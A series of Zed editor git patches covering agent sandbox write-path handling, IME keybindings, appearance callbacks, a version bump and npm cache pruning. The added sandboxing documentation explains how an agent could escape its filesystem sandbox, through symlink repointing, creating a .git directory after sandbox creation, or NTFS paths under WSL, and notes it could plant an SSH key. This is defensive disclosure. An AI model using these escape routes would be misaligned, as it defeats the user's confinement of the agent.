+    paths.push(settings::GrantedWritePathContent {
+        requested: path,
+        resolved: None,
+        on_windows_fs: false,
+    });
+}
+
 fn add_write_path(path: PathBuf, cx: &mut App) {
     // Normalize away `.`/`..` so the stored entry matches the form the runtime
     // uses for coverage checks (see `compile_sandbox_permissions`) and the form
-    // persisted by the in-thread "Allow always" grant.
+    // persisted by the in-thread "Allow always" grant. A hand-authored entry
+    // records no resolved canonical, so enforcement resolves it fresh (see
+    // `granted_write_path_to_location`).
     let Ok(path) = util::paths::normalize_lexically(&path) else {
         return;
     };
     update_sandbox_permissions(cx, move |permissions| {
         let paths = &mut permissions.write_paths.get_or_insert_default().0;
-        // Store minimal subtrees so a parent path subsumes its descendants.
-        util::paths::insert_subtree(paths, path);
+        insert_write_path_subtree(paths, path);
     });
 }
 
@@ -513,8 +559,8 @@ fn update_write_path(old_path: PathBuf, new_path: PathBuf, cx: &mut App) {
     };
     update_sandbox_permissions(cx, move |permissions| {
         if let Some(paths) = permissions.write_paths.as_mut() {
-            paths.0.retain(|entry| *entry != old_path);
-            util::paths::insert_subtree(&mut paths.0, new_path);
+            paths.0.retain(|entry| entry.requested != old_path);
+            insert_write_path_subtree(&mut paths.0, new_path);
         }
     });
 }
@@ -522,7 +568,7 @@ fn update_write_path(old_path: PathBuf, new_path: PathBuf, cx: &mut App) {
 fn remove_write_path(path: PathBuf, cx: &mut App) {
     update_sandbox_permissions(cx, move |permissions| {
         if let Some(paths) = permissions.write_paths.as_mut() {
-            paths.0.retain(|entry| *entry != path);
+            paths.0.retain(|entry| entry.requested != path);
         }
     });
 }
diff --git a/docs/src/ai/sandboxing.md b/docs/src/ai/sandboxing.md
index 5603d3c307f1e1..2d676d75c80a15 100644
--- a/docs/src/ai/sandboxing.md
+++ b/docs/src/ai/sandboxing.md
@@ -23,6 +23,10 @@ sandbox?](#trust) for more details.
 Sandboxing applies only to Zed Agent. It does not sandbox Zed itself, language servers, extensions, tasks, your normal
 terminal tabs, [External Agents](./external-agents.md), or [Terminal Threads](./terminal-threads.md).
 
+> **Note**: Under some conditions, sandboxes on Windows are weaker than those on
+> Linux and MacOS, and may not prevent all escape attempts. See
+> [Windows](#windows) for more detail.
+
 ## Sandboxed Tools {#sandboxed-tools}
 
 Zed Agent sandboxing currently applies to the `terminal` and `fetch` tools.
@@ -74,8 +78,9 @@ could allow privilege escalation - for example, allow an agent to write to a
 file that it should only have read access to.
 
 Sandboxing also only applies the restrictions that the user requested. If an
-agent requests write access to your home directory, sandboxing will (and
-should!) do nothing to prevent an agent adding a malicious key to `$HOME/.ssh`.
+agent requests write access to your home directory, sandboxing will not (and
+should not!) do anything to prevent an agent adding a malicious key to
+`$HOME/.ssh`.
 
 Be careful with what you grant the agent. At any point in time, you can view the
 state of the sandbox by hovering the padlock icon in the top right of the
@@ -227,6 +232,12 @@ after host-specific network access is approved.
 If Bubblewrap is unavailable or cannot create a sandbox in the current environment, Zed may run the command without the OS
 sandbox and show a warning in the tool output.
 
+> **Warning**: On Linux and WSL, restrictions on filesystem objects are
+> determined at _sandbox creation time_. Among other things, this means that an
+> agent given access to a non-Git-repo directory `/foo` could create
+> `/foo/.git`. See [How much can I trust the sandbox?](#trust) for more
+> information on the implications of this.
+
 #### Installing Bubblewrap {#installing-bubblewrap}
 
 Zed needs a runnable, non-setuid `bwrap` binary on your `$PATH`. Installing
@@ -279,6 +290,14 @@ sudo apparmor_parser -r /etc/apparmor.d/bwrap-userns-restrict
 
 On Windows, Zed Agent sandboxing is supported only when the agent action runs inside WSL.
 
+> **Warning**: Due to limitations in WSL's implementation, it is possible that a
+> terminal command may write outside sandbox grants when the user has given
+> write access to any path that resides on the NTFS drive. This includes the
+> current-project grant for projects stored on NTFS. Zed will show a warning
+> when this happens. In practice, we believe this is difficult to exploit, but
+> security cannot be guaranteed. See [below](#why-ntfs-compromise) for a more
+> technical explanation.
+
 Zed uses the Linux Bubblewrap sandbox inside WSL because WSL provides the Linux process and filesystem primitives that
 Bubblewrap needs. Native Windows processes do not currently have the same sandbox integration in Zed, so a native Windows
 command cannot be confined by Zed Agent's OS sandbox in the same way.
@@ -296,6 +315,73 @@ Git Bash) when one is installed, otherwise PowerShell, and finally `cmd.exe`. Be
 Windows paths instead of WSL's Linux filesystem, path conventions change accordingly (for example `C:\...` or `/c/...`
 rather than WSL's `/mnt/c/...`), so a command written for the sandboxed WSL shell may behave differently.
 
+#### Why do NTFS objects compromise the sandbox? {#why-ntfs-compromise}
+
+In general, the security of the filesystem sandbox relies on two things
+matching:
+
+- The path that the user was presented when they approved
+- The filesystem object to which access was granted
+
+If a user believes they granted access to `/foo/hello`, but they actually granted
+access to `/bar/world`, then the sandbox has failed.
+
+On Linux, this "filesystem object" is called an **inode**.
+
+But `/foo/hello` doesn't refer to an inode. Loosely, it refers to a location
+where an inode might exist. It may refer to one inode at one point in time,
+and another inode later.
+
+And because of symlinks, it's possible for an agent with write access to `/foo`
+to change `/foo/bar` to point to `/secret`, even if they have no write access to
+`/secret`. If this happens, even though the agent has access to `/foo`, we
+cannot also grant access to `/foo/bar`, since that would grant access to
+`/secret`.
+
+This means that we must only refer to paths which are:
+
+- canonical (i.e. contain no symlinks)
+- absolute
+- unchanged since we validated the above
+
+On non-WSL-Linux, we can do this by simply opening the path to get a "file
+descriptor", which identifies the **inode** directly, so holding the file
+descriptor allows us to "pin" the correct inode. This also works just fine on
+WSL when the path in question refers to an object in the Linux filesystem.
+
+However, WSL allows accessing files stored in the Windows drive. For example,
+the file `C:\foo\bar.txt` can be accessed from Linux at `/mnt/c/foo/bar.txt`,
+using a mechanism similar to a network drive. Unfortunately, inode pinning is
+not guaranteed to work for these. While we can still pin the inode for
+`/mnt/c/foo/bar.txt`, this doesn't pin the underlying Windows filesystem object,
+and so it's possible for this to change during the lifetime of a sandbox, which
+could potentially allow writes outside the confines of the sandbox.
+
+#### How big a risk is this in practice? {#how-big-a-risk}
+
+**In our testing, we have not been able to exploit this issue to escape the
+sandbox.**
+
+In practice, the mapping tends to be quite stable. This is because the inode
+that gets generated in the Linux filesystem is derived from the _file reference_
+(very loosely, a "Windows inode"), which has similar stability to a Linux inode.
+The standard "rename a subcomponent" attack seems to produce a different inode
+number, and so the in-sandbox check would fail-closed.
+
+But, crucially, _it is not guaranteed_. This is the behaviour we observed in
+testing, but could not find documentation guaranteeing this behaviour in all
+circumstances, for all Windows/WSL versions past and present, regardless of
+configuration options.
+
+Zed's sandbox has been designed with the aim of being totally unbreakable, even
+in the presence of a motivated attacker with full control over the files in your
+project running as a standard user. It does _not_ assume a
+mostly-benevolent-but-sometimes-careless agent.
+
+Given this, we cannot give the same guarantees about sandbox security as we do
+for more standard cases. However, even with this weakened guarantee, the sandbox
+still helps keep you much safer than without it, so it's worth keeping enabled.
+
 ## Choosing What to Approve {#choosing-what-to-approve}
 
 When reviewing a sandbox prompt, prefer the narrowest permission that lets the task proceed:
diff --git a/nix/tests/sandboxing/default.nix b/nix/tests/sandboxing/default.nix
index 7aee3c7537d020..75f42697e30b7d 100644
--- a/nix/tests/sandboxing/default.nix
+++ b/nix/tests/sandboxing/default.nix
@@ -30,6 +30,8 @@
 #
 #   fs = "restricted";          # or "unrestricted"
 #   writablePaths = [ ];        # writable subtrees when fs = "restricted"
+#   seedFiles = [ ];            # regular files to create before building the
+#                               # policy (e.g. a single-file-worktree root)
 #   networkAccess = "blocked";  # or "unrestricted" / "restricted"
 #   allowedDomains = [ ];       # allowed hosts when networkAccess = "restricted"
 #   protectedPaths = [ ];       # paths that remain readable but not writable,
@@ -251,6 +253,27 @@ in
         succeeds = true;
       }
 
+      # Regression: a protected `.git` path routed through a regular file must
+      # not break sandbox creation. A single-file worktree (e.g. `settings.json`
+      # opened on its own) is rooted at the file, so the agent synthesizes
+      # `settings.json/.git` as a protected path; capturing it reports
+      # `NotADirectory`. That case must be *skipped* (the path can't exist, so
+      # there's nothing to protect), not treated as a fatal capture error — the
+      # bug that surfaced as a "cannot capture protected sandbox path
+      # .../settings.json/.git" popup. `seedFiles` makes `settings.json` a real
+      # file so the protected path routes through it; the sandbox must still be
+      # created and a normal write inside the worktree must succeed.
+      {
+        name = "protected .git routed through a regular file is skipped, not fatal";
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/single-file-worktree" ];
+        seedFiles = [ "/sandbox-test/single-file-worktree/settings.json" ];
+        protectedPaths = [ "/sandbox-test/single-file-worktree/settings.json/.git" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/single-file-worktree/ok.txt";
+        succeeds = true;
+      }
+
       # The fs escape hatch lets a command write anywhere.
       {
         fs = "unrestricted";

From dc1e815e47835095748cbb036541992abd9ac826 Mon Sep 17 00:00:00 2001
From: Mikhail Pertsev <arthasmontano@mail.ru>
Date: Wed, 29 Jul 2026 15:31:58 +0200
Subject: [PATCH 761/772] gpui: Complete pending key bindings before IME input
 (#61270)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Fix multi-stroke keybindings such as `ctrl-x k` being intercepted by
the macOS Japanese IME before GPUI can complete the binding.
- Preserve IME-first handling for ordinary Japanese text input and
active marked-text composition.
- Fixes #56043.

## Solution

- Stop preferring IME-first printable input while a valid multi-stroke
keybinding is pending. This allows the next printable keystroke to reach
GPUI and complete the binding.
- Consider pending input active only when it belongs to the window's
current focus. This prevents stale pending state after a focus change or
blur from bypassing normal IME handling.
- Preserve the existing macOS active-composition path, so marked text,
candidate selection, and composition commands continue to reach
`NSTextInputContext` first.

## Testing

Manually tested on macOS using Apple’s built-in Japanese–Romaji/Hiragana
input source with a `ctrl-x k` keybinding. Also added regression test
for pending keybinding routing.


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed multi-stroke keybindings not completing when using a Japanese
IME on macOS.

---------

Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 crates/gpui/src/key_dispatch.rs | 73 ++++++++++++++++++++++++++++++---
 crates/gpui/src/platform.rs     | 12 +++++-
 crates/gpui/src/window.rs       | 13 ++++--
 3 files changed, 88 insertions(+), 10 deletions(-)

diff --git a/crates/gpui/src/key_dispatch.rs b/crates/gpui/src/key_dispatch.rs
index 8188d76294f750..7b18d41304874e 100644
--- a/crates/gpui/src/key_dispatch.rs
+++ b/crates/gpui/src/key_dispatch.rs
@@ -626,12 +626,17 @@ mod tests {
     };
     use core::panic;
     use smallvec::SmallVec;
-    use std::{cell::RefCell, ops::Range, rc::Rc};
+    use std::{
+        cell::{Cell, RefCell},
+        ops::Range,
+        rc::Rc,
+    };
 
     use crate::{
-        ActionRegistry, App, Bounds, Context, DispatchTree, FocusHandle, InputHandler, IntoElement,
-        KeyBinding, KeyContext, Keymap, Pixels, Point, Render, Subscription, TestAppContext,
-        UTF16Selection, Unbind, Window,
+        ActionRegistry, App, Bounds, Context, DispatchPhase, DispatchTree, FocusHandle,
+        InputHandler, IntoElement, KeyBinding, KeyContext, Keymap, Pixels, PlatformWindow, Point,
+        Render, Subscription, TestAppContext, UTF16Selection, Unbind, VisualContext,
+        VisualTestContext, Window,
     };
 
     actions!(dispatch_test, [TestAction, SecondaryTestAction]);
@@ -1037,12 +1042,14 @@ mod tests {
         struct CustomElement {
             focus_handle: FocusHandle,
             text: Rc<RefCell<String>>,
+            action_count: Rc<Cell<usize>>,
         }
         impl CustomElement {
             fn new(cx: &mut Context<Self>) -> Self {
                 Self {
                     focus_handle: cx.focus_handle(),
                     text: Rc::default(),
+                    action_count: Rc::default(),
                 }
             }
         }
@@ -1091,7 +1098,15 @@ mod tests {
                 key_context.add("Terminal");
                 window.set_key_context(key_context);
                 window.handle_input(&self.focus_handle, self.clone(), cx);
-                window.on_action(std::any::TypeId::of::<TestAction>(), |_, _, _, _| {});
+                let action_count = self.action_count.clone();
+                window.on_action(
+                    std::any::TypeId::of::<TestAction>(),
+                    move |_, phase, _, _| {
+                        if phase == DispatchPhase::Bubble {
+                            action_count.set(action_count.get() + 1);
+                        }
+                    },
+                );
             }
         }
         impl IntoElement for CustomElement {
@@ -1155,6 +1170,10 @@ mod tests {
 
             fn unmark_text(&mut self, _: &mut Window, _: &mut App) {}
 
+            fn prefers_ime_for_printable_keys(&mut self, _: &mut Window, _: &mut App) -> bool {
+                true
+            }
+
             fn bounds_for_range(
                 &mut self,
                 _: Range<usize>,
@@ -1182,6 +1201,7 @@ mod tests {
         cx.update(|cx| {
             cx.bind_keys([KeyBinding::new("ctrl-b", TestAction, Some("Terminal"))]);
             cx.bind_keys([KeyBinding::new("ctrl-b h", TestAction, Some("Terminal"))]);
+            cx.bind_keys([KeyBinding::new("ctrl-x k", TestAction, Some("Terminal"))]);
         });
         let (test, cx) = cx.add_window_view(|_, cx| CustomElement::new(cx));
         let focus_handle = test.update(cx, |test, _| test.focus_handle.clone());
@@ -1189,6 +1209,49 @@ mod tests {
             window.focus(&focus_handle, cx);
             window.activate_window();
         });
+
+        let query_prefers_ime_for_printable_keys = |cx: &mut VisualTestContext| {
+            let mut platform_window = cx.test_window(cx.window_handle());
+            let mut input_handler = platform_window.take_input_handler()?;
+            let prefers_ime = input_handler.query_prefers_ime_for_printable_keys();
+            platform_window.set_input_handler(input_handler);
+            Some(prefers_ime)
+        };
+
+        assert_eq!(query_prefers_ime_for_printable_keys(cx), Some(true));
+        cx.simulate_keystrokes("ctrl-x");
+        cx.update(|window, _| assert!(window.has_pending_keystrokes()));
+        assert_eq!(query_prefers_ime_for_printable_keys(cx), Some(false));
+
+        let prefers_ime_after_blur = {
+            let mut platform_window = cx.test_window(cx.window_handle());
+            let mut input_handler = platform_window.take_input_handler();
+            cx.update(|window, _| {
+                window.blur();
+                assert!(!window.has_pending_keystrokes());
+                assert!(window.pending_input_keystrokes().is_none());
+            });
+            let prefers_ime = input_handler
+                .as_mut()
+                .map(|input_handler| input_handler.query_prefers_ime_for_printable_keys());
+            if let Some(input_handler) = input_handler {
+                platform_window.set_input_handler(input_handler);
+            }
+            prefers_ime
+        };
+        assert_eq!(prefers_ime_after_blur, Some(true));
+        cx.update(|window, cx| window.focus(&focus_handle, cx));
+
+        cx.simulate_keystrokes("ctrl-x");
+        assert_eq!(query_prefers_ime_for_printable_keys(cx), Some(false));
+        cx.simulate_keystrokes("k");
+        cx.update(|window, _| assert!(!window.has_pending_keystrokes()));
+        assert_eq!(query_prefers_ime_for_printable_keys(cx), Some(true));
+        test.update(cx, |test, _| {
+            assert_eq!(test.action_count.get(), 1);
+            assert_eq!(test.text.borrow().as_str(), "");
+        });
+
         cx.simulate_keystrokes("ctrl-b [");
         test.update(cx, |test, _| assert_eq!(test.text.borrow().as_str(), "["))
     }
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index bc73a560602a11..bb9b4f890da95c 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -1602,10 +1602,18 @@ impl PlatformInputHandler {
             .unwrap_or(true)
     }
 
-    #[allow(dead_code)]
+    /// See [`InputHandler::prefers_ime_for_printable_keys`].
+    ///
+    /// This is not a pure delegation to the handler: while a multi-stroke binding is pending this
+    /// returns `false` regardless of the handler's preference, because the next printable key may
+    /// complete a binding whose prefix already bypassed the IME.
     pub fn query_prefers_ime_for_printable_keys(&mut self) -> bool {
         self.cx
-            .update(|window, cx| self.handler.prefers_ime_for_printable_keys(window, cx))
+            .update(|window, cx| {
+                // The next printable key may complete a chord whose prefix bypassed the IME.
+                !window.has_pending_keystrokes()
+                    && self.handler.prefers_ime_for_printable_keys(window, cx)
+            })
             .unwrap_or(false)
     }
 }
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 292126e6d883b3..048988a4319b94 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -5299,9 +5299,17 @@ impl Window {
         }
     }
 
+    /// Pending input that can still complete a binding. Input left over from a previous focus can
+    /// never complete one.
+    fn active_pending_input(&self) -> Option<&PendingInput> {
+        self.pending_input
+            .as_ref()
+            .filter(|pending_input| pending_input.focus == self.focus)
+    }
+
     /// Determine whether a potential multi-stroke key binding is in progress on this window.
     pub fn has_pending_keystrokes(&self) -> bool {
-        self.pending_input.is_some()
+        self.active_pending_input().is_some()
     }
 
     pub(crate) fn clear_pending_keystrokes(&mut self) {
@@ -5310,8 +5318,7 @@ impl Window {
 
     /// Returns the currently pending input keystrokes that might result in a multi-stroke key binding.
     pub fn pending_input_keystrokes(&self) -> Option<&[Keystroke]> {
-        self.pending_input
-            .as_ref()
+        self.active_pending_input()
             .map(|pending_input| pending_input.keystrokes.as_slice())
     }
 

From a11083f9a79495e9c7ddee0c5782f22d07695c31 Mon Sep 17 00:00:00 2001
From: Mayank Verma <errmayank@gmail.com>
Date: Wed, 29 Jul 2026 19:05:25 +0530
Subject: [PATCH 762/772] gpui: Defer appearance change callback to avoid
 reentrant borrow (#61789)

### Objective

PR #58902 made native macOS window chrome follow the selected theme, but
AppKit can synchronously invoke `viewDidChangeEffectiveAppearance` while
the settings observer holds an `App` borrow. `handle.update` then fails
with `RefCell already borrowed`, leaving `Window::appearance()` and its
observers stale.

### Steps to reproduce

1. Set Zed's theme mode to Dark.
2. Set macOS Appearance to Light.
3. Change Zed's theme mode to System.
4. Notice that the window chrome switches to light, but Zed's UI remains
dark.


https://github.com/user-attachments/assets/f91962cc-76ba-4d8e-b587-2a2343f365ba

### Expectation

Zed should switch to its configured light theme when returning to System
mode.

### Solution

Defer `Window::appearance_changed` to the foreground executor so the
current `App` borrow finishes before refreshing the cached appearance
and notifying observers.

### Testing

- Added a regression test.

### Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 crates/gpui/src/platform/test/window.rs | 21 ++++++++++--
 crates/gpui/src/window.rs               | 45 +++++++++++++++++++++----
 crates/gpui_macos/src/window.rs         |  3 +-
 3 files changed, 59 insertions(+), 10 deletions(-)

diff --git a/crates/gpui/src/platform/test/window.rs b/crates/gpui/src/platform/test/window.rs
index 8894350edc5edb..ea1edf5a917259 100644
--- a/crates/gpui/src/platform/test/window.rs
+++ b/crates/gpui/src/platform/test/window.rs
@@ -33,8 +33,10 @@ pub(crate) struct TestWindowState {
     hover_status_change_callback: Option<Box<dyn FnMut(bool)>>,
     resize_callback: Option<Box<dyn FnMut(Size<Pixels>, f32)>>,
     moved_callback: Option<Box<dyn FnMut()>>,
+    appearance_change_callback: Option<Box<dyn FnMut()>>,
     input_handler: Option<PlatformInputHandler>,
     is_fullscreen: bool,
+    appearance: WindowAppearance,
 }
 
 #[derive(Clone)]
@@ -85,8 +87,10 @@ impl TestWindow {
             hover_status_change_callback: None,
             resize_callback: None,
             moved_callback: None,
+            appearance_change_callback: None,
             input_handler: None,
             is_fullscreen: false,
+            appearance: WindowAppearance::Light,
         })))
     }
 
@@ -113,6 +117,17 @@ impl TestWindow {
         self.0.lock().active_status_change_callback = Some(callback);
     }
 
+    pub fn simulate_appearance_change(&self, appearance: WindowAppearance) {
+        let mut lock = self.0.lock();
+        lock.appearance = appearance;
+        let Some(mut callback) = lock.appearance_change_callback.take() else {
+            return;
+        };
+        drop(lock);
+        callback();
+        self.0.lock().appearance_change_callback = Some(callback);
+    }
+
     pub fn simulate_input(&mut self, event: PlatformInput) -> bool {
         let mut lock = self.0.lock();
         let Some(mut callback) = lock.input_callback.take() else {
@@ -152,7 +167,7 @@ impl PlatformWindow for TestWindow {
     }
 
     fn appearance(&self) -> WindowAppearance {
-        WindowAppearance::Light
+        self.0.lock().appearance
     }
 
     fn display(&self) -> Option<std::rc::Rc<dyn crate::PlatformDisplay>> {
@@ -290,7 +305,9 @@ impl PlatformWindow for TestWindow {
         self.0.lock().hit_test_window_control_callback = Some(callback);
     }
 
-    fn on_appearance_changed(&self, _callback: Box<dyn FnMut()>) {}
+    fn on_appearance_changed(&self, callback: Box<dyn FnMut()>) {
+        self.0.lock().appearance_change_callback = Some(callback);
+    }
 
     fn draw(&self, scene: &Scene) {
         let scale_factor = self.scale_factor();
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 048988a4319b94..c2e173764139f4 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -1688,11 +1688,19 @@ impl Window {
             }
         }));
         platform_window.on_appearance_changed(Box::new({
-            let mut cx = cx.to_async();
+            let cx = cx.to_async();
+            let foreground_executor = cx.foreground_executor().clone();
             move || {
-                handle
-                    .update(&mut cx, |_, window, cx| window.appearance_changed(cx))
-                    .log_err();
+                let mut cx = cx.clone();
+                // Defer the update because changing the AppKit appearance may
+                // synchronously invoke this callback while App is already borrowed.
+                foreground_executor
+                    .spawn(async move {
+                        handle
+                            .update(&mut cx, |_, window, cx| window.appearance_changed(cx))
+                            .log_err();
+                    })
+                    .detach();
             }
         }));
         platform_window.on_button_layout_changed(Box::new({
@@ -6681,8 +6689,8 @@ mod tests {
 
     use crate::{
         AppContext as _, Bounds, Context, FocusHandle, InteractiveElement as _, IntoElement,
-        ParentElement, Pixels, Render, Styled, TestAppContext, Window, WindowOptions, canvas, div,
-        px, size,
+        ParentElement, Pixels, Render, Styled, TestAppContext, Window, WindowAppearance,
+        WindowOptions, canvas, div, px, size,
     };
 
     struct EmptyView;
@@ -6743,6 +6751,31 @@ mod tests {
             .unwrap();
     }
 
+    #[gpui::test]
+    fn test_appearance_change_runs_after_app_update(cx: &mut TestAppContext) {
+        let window = cx.add_window(|_, _| EmptyView);
+        let observed_appearance = Rc::new(Cell::new(None));
+        let _subscription = window
+            .update(cx, {
+                let observed_appearance = observed_appearance.clone();
+                move |_, window, _| {
+                    window.observe_window_appearance(move |window, _| {
+                        observed_appearance.set(Some(window.appearance()));
+                    })
+                }
+            })
+            .unwrap();
+        let test_window = cx.test_window(window.into());
+
+        cx.update(|_| {
+            test_window.simulate_appearance_change(WindowAppearance::Dark);
+            assert_eq!(observed_appearance.get(), None);
+        });
+        cx.run_until_parked();
+
+        assert_eq!(observed_appearance.get(), Some(WindowAppearance::Dark));
+    }
+
     struct RootView {
         explicit_size: bool,
         child_bounds: Rc<Cell<Bounds<Pixels>>>,
diff --git a/crates/gpui_macos/src/window.rs b/crates/gpui_macos/src/window.rs
index d094211516889e..cf9beb022846af 100644
--- a/crates/gpui_macos/src/window.rs
+++ b/crates/gpui_macos/src/window.rs
@@ -2849,8 +2849,7 @@ extern "C" fn view_did_change_effective_appearance(this: &Object, _: Sel) {
         }
 
         // AppKit can relayout the standard traffic light buttons as part of
-        // applying a new appearance. Reapply GPUI's custom position after
-        // notifying appearance observers.
+        // applying a new appearance, so reapply GPUI's custom position.
         state.lock().move_traffic_light();
     }
 }

From e24eeb71ad4c606a8ae2b3ffead136c21c07071b Mon Sep 17 00:00:00 2001
From: "zed-zippy[bot]" <234243425+zed-zippy[bot]@users.noreply.github.com>
Date: Wed, 29 Jul 2026 15:02:06 +0000
Subject: [PATCH 763/772] Bump Zed to v1.15.0 (#61866)

Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 Cargo.lock            | 2 +-
 crates/zed/Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 9e20c4aff02823..14de5a2f1db1d7 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -23211,7 +23211,7 @@ dependencies = [
 
 [[package]]
 name = "zed"
-version = "1.14.0"
+version = "1.15.0"
 dependencies = [
  "acp_thread",
  "acp_tools",
diff --git a/crates/zed/Cargo.toml b/crates/zed/Cargo.toml
index 68ced31c2b5ff4..de08b4c5bc2730 100644
--- a/crates/zed/Cargo.toml
+++ b/crates/zed/Cargo.toml
@@ -2,7 +2,7 @@
 description = "The fast, collaborative code editor."
 edition.workspace = true
 name = "zed"
-version = "1.14.0"
+version = "1.15.0"
 publish.workspace = true
 license = "GPL-3.0-or-later"
 authors = ["Zed Team <hi@zed.dev>"]

From b9256fa8f018bf03eb2e420120163746f8298d83 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Wed, 29 Jul 2026 10:16:39 -0500
Subject: [PATCH 764/772] Stop the npm cache from growing without bound
 (#61750)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Fixes #59409. Closes FR-143. Zed's managed npm directory reaches
10–17GB on machines that use
  external agents, and is never pruned.
- Two independent causes: registry agents are launched with `npm exec`,
which keys its
install directory on the requested version, so every agent release
leaves a full
~250MB copy behind; and npm never evicts anything from its download
cache.

## Solution

- Install registry agents into a directory we reuse, so npm replaces the
previous
version in place instead of accumulating one copy per release. As a side
effect,
updates now download only the changed dependencies rather than the whole
tree.
- Empty the download cache on startup. Nothing in it needs to survive a
restart, since
packages are installed elsewhere. It has to go wholesale: deleting
individual
downloads leaves npm's index pointing at missing files, and npm then
fails with
  `ENOENT` rather than fetching them again.
- The first launch after this does one full agent install as it moves
into its new
  home, and reclaims whatever the old directories were holding.

## Testing

- Installed the real agent at 0.33.1, then upgraded to 0.42.0 in the
same directory:
253MB → 256MB, against two separate copies today. The resolved
executable answers an
  ACP `initialize`.
- macOS only. Windows deserves a look — it should be better than before,
since the
agent is now launched as a plain `.js` file with Node instead of through
npm's `.cmd`
  shim, but I can't verify it.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed the bundled npm cache growing without bound, which could consume
many gigabytes of disk.
---
 crates/node_runtime/src/node_runtime.rs  | 62 ++++++++++++++++++++---
 crates/project/src/agent_server_store.rs | 63 ++++++++++++++----------
 2 files changed, 92 insertions(+), 33 deletions(-)

diff --git a/crates/node_runtime/src/node_runtime.rs b/crates/node_runtime/src/node_runtime.rs
index 6a2d1d7c3d3adb..dabf1538594edc 100644
--- a/crates/node_runtime/src/node_runtime.rs
+++ b/crates/node_runtime/src/node_runtime.rs
@@ -717,6 +717,8 @@ impl ManagedNodeRuntime {
             log::info!("Extracted Node.js to {}", node_containing_dir.display())
         }
 
+        _ = fs::remove_dir_all(node_dir.join("cache")).await;
+
         // Note: Not in the `if !valid {}` so we can populate these for existing installations
         _ = fs::create_dir(node_dir.join("cache")).await;
         _ = fs::write(node_dir.join("blank_user_npmrc"), []).await;
@@ -828,7 +830,7 @@ impl NodeRuntimeTrait for ManagedNodeRuntime {
             subcommand,
             args,
         );
-        let command_env = npm_command_env(Some(&node_binary));
+        let command_env = npm_command_env(&node_binary);
 
         Ok(NpmCommand {
             path: node_binary,
@@ -881,6 +883,7 @@ impl SystemNodeRuntime {
 
         let scratch_dir = paths::data_dir().join("node");
         fs::create_dir(&scratch_dir).await.ok();
+        _ = fs::remove_dir_all(scratch_dir.join("cache")).await;
         fs::create_dir(scratch_dir.join("cache")).await.ok();
 
         Ok(Self {
@@ -966,7 +969,7 @@ impl NodeRuntimeTrait for SystemNodeRuntime {
             subcommand,
             args,
         );
-        let command_env = npm_command_env(Some(&self.node));
+        let command_env = npm_command_env(&self.node);
 
         Ok(NpmCommand {
             path: self.npm.clone(),
@@ -1013,6 +1016,53 @@ pub async fn read_package_installed_version(
     Ok(Some(package_json.version))
 }
 
+pub async fn read_package_executable(
+    node_module_directory: PathBuf,
+    name: &str,
+) -> Result<PathBuf> {
+    let package_directory = node_module_directory.join(name);
+
+    #[derive(Deserialize)]
+    #[serde(untagged)]
+    enum Bin {
+        Path(String),
+        Named(HashMap<String, String>),
+    }
+
+    #[derive(Deserialize)]
+    struct PackageJson {
+        bin: Option<Bin>,
+    }
+
+    let package_json_path = package_directory.join("package.json");
+    let mut file = fs::File::open(&package_json_path)
+        .await
+        .with_context(|| format!("opening {}", package_json_path.display()))?;
+    let mut contents = String::new();
+    file.read_to_string(&mut contents).await?;
+    let package_json: PackageJson = serde_json::from_str(&contents)
+        .with_context(|| format!("parsing {}", package_json_path.display()))?;
+
+    let relative_path = match package_json.bin {
+        Some(Bin::Path(path)) => path,
+        Some(Bin::Named(bins)) => {
+            let unscoped_name = name.rsplit('/').next().unwrap_or(name);
+            let path = if bins.len() == 1 {
+                bins.values().next()
+            } else {
+                bins.get(unscoped_name)
+            };
+            path.with_context(|| {
+                format!("npm package {name} declares no executable named {unscoped_name}")
+            })?
+            .clone()
+        }
+        None => bail!("npm package {name} declares no executable"),
+    };
+
+    Ok(package_directory.join(relative_path))
+}
+
 #[derive(Clone)]
 pub struct UnavailableNodeRuntime {
     error_message: Arc<String>,
@@ -1107,12 +1157,10 @@ fn build_npm_command_args(
     command_args
 }
 
-fn npm_command_env(node_binary: Option<&Path>) -> HashMap<String, String> {
